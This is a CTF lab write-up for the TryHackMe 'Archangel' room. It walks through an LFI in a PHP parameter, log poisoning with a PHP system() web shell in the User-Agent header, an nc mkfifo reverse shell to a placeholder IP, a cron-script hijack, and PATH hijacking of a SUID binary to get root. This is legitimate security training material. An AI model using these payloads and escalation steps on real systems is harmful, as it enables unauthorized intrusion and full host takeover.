TryHackMe: Archangel

11 min readMay 8, 2021

Archangel is an ranked as an easy room on but it is a bit more difficult than the other easy rooms. Some of the concepts or methods might be completely new for beginners. Even I got to learn something new from this room. This room focuses on multiple things such as LFI and SUID binary exploitation.

So, lets begin!


The first thing that we can do is start an nmap scan against the machine's IP address and check if some webpages are hosted over there using our web browser.

Here, we can see the domain name in the email address provided at the top of the page. We can definitely say that this must be the domain name of this website as well. So, we can add it to the /etc/hosts file as well.

└─$ cat /etc/hosts localhost kali

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters *********.thm

Now, we can directly try to access the domain.

Just by access the webpage by its domain name, we got our 1st flag.

We can check out the nmap result as well:

└─$ nmap -sS -p- -T4 -oN open_ports
[sudo] password for kali:
Starting Nmap 7.91 ( ) at 2021-05-08 01:00 EDT
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up (0.15s latency).
Not shown: 65530 closed ports
22/tcp open ssh
80/tcp open http
1481/tcp filtered airs
30626/tcp filtered unknown
55807/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 963.58 seconds

└─$ nmap -sC -sV -O -oN port_details -p22,80
Starting Nmap 7.91 ( ) at 2021-05-08 01:18 EDT
Nmap scan report for mafialive.thm (
Host is up (0.15s latency).

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.58 seconds

From the output it can be seen that only 2 ports are open which are 22 and 80. So, nothing interesting over here. But under port 80 we can see there is a disallowed entry for /test.php mentioned in the robots.txt file.

We can visit the /test.php page to see if we can obtain some useful information.

On this page, we can’t see much except a button which when clicked prints “Control is an illusion”. But if we see closely, then when we click on the button the parameter ?view=/var/www/html/development_testing/mrrobot.php gets added to the URL. The entire path of the page mrrobot.php is provided over here which appears to be a bit odd because normally relative paths can be used.

Gaining Access

We can test the ?view= parameter for Local File Inclusion (LFI). We can test the following:


But none of these appear to be working. At this point, if we recall that when the button was clicked it displayed the entire path to the file. So, it might be the case that in the backend the entire path might be getting checked. In such a case we can change our payloads as:


But none of these work. The payload that worked was:


This printed the entire content of the /etc/passwd file.

Now that we have found an LFI, our next target is to gain an reverse shell. For this we can look into the apache log file stored at /var/log/apache2/access.log.

From the access logs it can be seen that along with the path that we are trying to access our User-Agent is also getting logged. We can add a PHP code in the User-Agent header using Burp Suite and with the help of that gain a reverse shell.

The output is not displayed properly on the webpage, so switch to view-source on your browser.

Steps to get a Reverse Shell via User-Agent

  1. Capture a request to /test.php?view=/var/www/html/development_testing/..//..//..//log/apache2/access.log in Burp Suite and send it to repeater.
  2. Add the following code somewhere in the User-Agent header value:
<?php system($_GET[‘cmd’]); ?>

3. Append &cmd=whoami to the GET request. Here, all that we are doing is passing whoami string to the cmd variable would get processed by the PHP code in the User-Agent and we would get the output of the command in the logged User-Agent value in the access.log file.

When you send the request for the first time, you won’t see anything in the output because the command has just been executed and what you are viewing is the copy of log file before the output of your command was written to it.

Therefore, you need to send the same request again so that the output written previous can now be viewed.

4. Now, that we have found a way to run commands on the system. We can send a reverse shell payload using the same method and start a listener on our local machine.

  • Reverse shell payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your_IP> 4444 >/tmp/f
  • We can send it as the value to the cmd variable in the GET request. (Don't forget to URL encode it before sending it from Burp Suite. This can be done by pressing the keys CTRL + U )

Finally, we have obtained the reverse shell.

Horizontal Privilege Escalation

Now that we have access to the machine, we can start looking for the user flag. But before that we must convert this shell to a better looking one using the command:

python3 -c 'import pty; pty.spawn("/bin/bash");'

You can try with python also but it won't work as only python3 is installed on the machine.

www-data@ubuntu:/var/www/html/development_testing$ cd /home
cd /home
www-data@ubuntu:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Nov 18 13:06 .
drwxr-xr-x 22 root root 4096 Nov 16 15:39 ..
drwxr-xr-x 6 archangel archangel 4096 Nov 20 15:22 archangel
www-data@ubuntu:/home$ cd archangel
cd archangel
www-data@ubuntu:/home/archangel$ ls -la
ls -la
total 44
drwxr-xr-x 6 archangel archangel 4096 Nov 20 15:22 .
drwxr-xr-x 3 root root 4096 Nov 18 13:06 ..
-rw-r--r-- 1 archangel archangel 220 Nov 18 00:48 .bash_logout
-rw-r--r-- 1 archangel archangel 3771 Nov 18 00:48 .bashrc
drwx------ 2 archangel archangel 4096 Nov 18 13:08 .cache
drwxrwxr-x 3 archangel archangel 4096 Nov 18 11:20 .local
-rw-r--r-- 1 archangel archangel 807 Nov 18 00:48 .profile
-rw-rw-r-- 1 archangel archangel 66 Nov 18 11:20 .selected_editor
drwxr-xr-x 2 archangel archangel 4096 Nov 18 01:36 myfiles
drwxrwx--- 2 archangel archangel 4096 Nov 19 20:41 secret
-rw-r--r-- 1 archangel archangel 26 Nov 19 19:57 user.txt
www-data@ubuntu:/home/archangel$ cat user.txt

And there we get our user flag. So, we can now start for privilege escalation.

For starters, we can look into the files present in this directory as it appears that there might be some sensitive information stored here.

www-data@ubuntu:/home/archangel$ cd myfiles
cd myfiles
www-data@ubuntu:/home/archangel/myfiles$ ls -la
ls -la
total 12
drwxr-xr-x 2 archangel archangel 4096 Nov 18 01:36 .
drwxr-xr-x 6 archangel archangel 4096 Nov 20 15:22 ..
-rw-r--r-- 1 root root 44 Nov 18 01:35 passwordbackup
www-data@ubuntu:/home/archangel/myfiles$ cat passwordbackup
cat passwordbackup

It can be seen that we do not have access to the secret folder but when we access the myfiles directory we can see a file named as passwordbackup which contains nothing but a link to a YouTube video. Also, it appears to be a bit odd that this file is owned by root.

For further enumeration, we can check the cronjobs running on the system.

www-data@ubuntu:/home/archangel/myfiles$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user command
*/1 * * * * archangel /opt/
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Here, we can see that a shell script named as in the /opt directory is being executed as user archangel. We can check the permissions of that file and try to use it to gain access to the system as user archangel.

www-data@ubuntu:/home/archangel/myfiles$ ls -la /opt/
ls -la /opt/
-rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 /opt/

From the output, we can see that all the rwx permissions are given to others. So, we can edit this file, add a payload in the bash script to create a reverse shell as user archangel. For this we can again use the same payload but change the port number

www-data@ubuntu:/opt$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your_IP> 4445 >/tmp/f" > /opt/

As soon as the cronjob gets executed we get our reverse shell

└─$ nc -nvlp 4445
listening on [any] 4445 ...
connect to [] from (UNKNOWN) [] 51610
sh: 0: can't access tty; job control turned off
$ whoami
$ id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
$ pwd

Again, we can use the python3 one liner code to make this shell look better. Then we can attempt to access the restricted files.

$ python3 -c 'import pty; pty.spawn("/bin/bash");'
archangel@ubuntu:~$ cd secret
cd secret
archangel@ubuntu:~/secret$ ls -la
ls -la
total 32
drwxrwx--- 2 archangel archangel 4096 Nov 19 20:41 .
drwxr-xr-x 6 archangel archangel 4096 Nov 20 15:22 ..
-rwsr-xr-x 1 root root 16904 Nov 18 16:40 backup
-rw-r--r-- 1 root root 49 Nov 19 20:41 user2.txt
archangel@ubuntu:~/secret$ cat user2.txt

In the secret directory, we get the user2.txt flag as well. But apart from that we can see an interesting file named backup. It is interesting because its SUID bit is set and moreover it is owned by root. So, if we manage to exploit this binary then we can get access to the machine as root.

In normal case of SUID bit set binaries we can go to GTFOBins and look up for a privesc method but this appears to be a custom binary, so GTFOBins won’t be helpful.

So, we can start analyzing the binary itself. As the first step, we can run strings over the binary and see if we can find something useful.

archangel@ubuntu:~/secret$ strings backup
strings backup
cp /home/user/archangel/myfiles/* /opt/backupfiles
GCC: (Ubuntu 10.2.0-13ubuntu1) 10.2.0

Here, we can see that files from directory /home/user/archangel/myfiles/* are being copied to /opt/backupfiles. Here as we can see a wildcard(*) is being used, we can try to exploit it in a similar way as it can be done for tar command. But after searching a lot over the internet, we can't find any wildcard privilege escalation for cp.

We can also try to create a file in the source directory but that won’t be of any use as we won’t be able to execute it as well as we are not allowed to create a directory in /home. So, we need to look for something else.

We can check the /opt/backupfiles as well to get some more hint. But again nothing useful can be found over there.

After giving in a lot of time and re-analyzing everything. We can see the answer was right in front of us. In the backup binary. The command cp is being called but without its full path being mentioned. So, we can create a fake cp executable in and prepend its location to $PATH. So, whenever cp is called our malicious binary gets executed instead of the original cp command. This can be done as:

  1. Create a fake cp file in /tmp directory and add the following code to it.
archangel@ubuntu:/opt/backupfiles$ cd /tmp
cd /tmp
archangel@ubuntu:/tmp$ touch cp
touch cp
archangel@ubuntu:/tmp$ echo “/bin/bash -p” > cp
echo “/bin/bash -p” > cp
archangel@ubuntu:/tmp$ cat cp
cat cp
/bin/bash -p

So, whenever the cp command is called /bin/bash would get executed with the permission of the effective user (in case of SUID binary, it would be root).

2. Make the file accessible and executable by all

archangel@ubuntu:/tmp$ chmod 777 cp

3. Prepend /tmp to $PATH

archangel@ubuntu:~/secret$ $PATH 
bash: /usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin: No such file or directory
archangel@ubuntu:~/secret$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
archangel@ubuntu:~/secret$ $PATH
bash: /tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin: No such file or directory

4. Run the SUID binary

archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# whoami
root@ubuntu:~/secret# cd /root
cd /root
root@ubuntu:/root# cat root.txt

And we get the access to the machine as root!

Some Key Points to Take Away

  1. Whenever you suspect an LFI, try different method with both relative and absolute addressing.
  2. Always look for files with misconfigured file permission.

Mind Maps

  1. Enumeration
  1. Privilege Escalation


  1. TryHackMe: Archangel
  2. —L FI
  3. LFI to RCE via PHP Session

Do check out my other work and write-ups at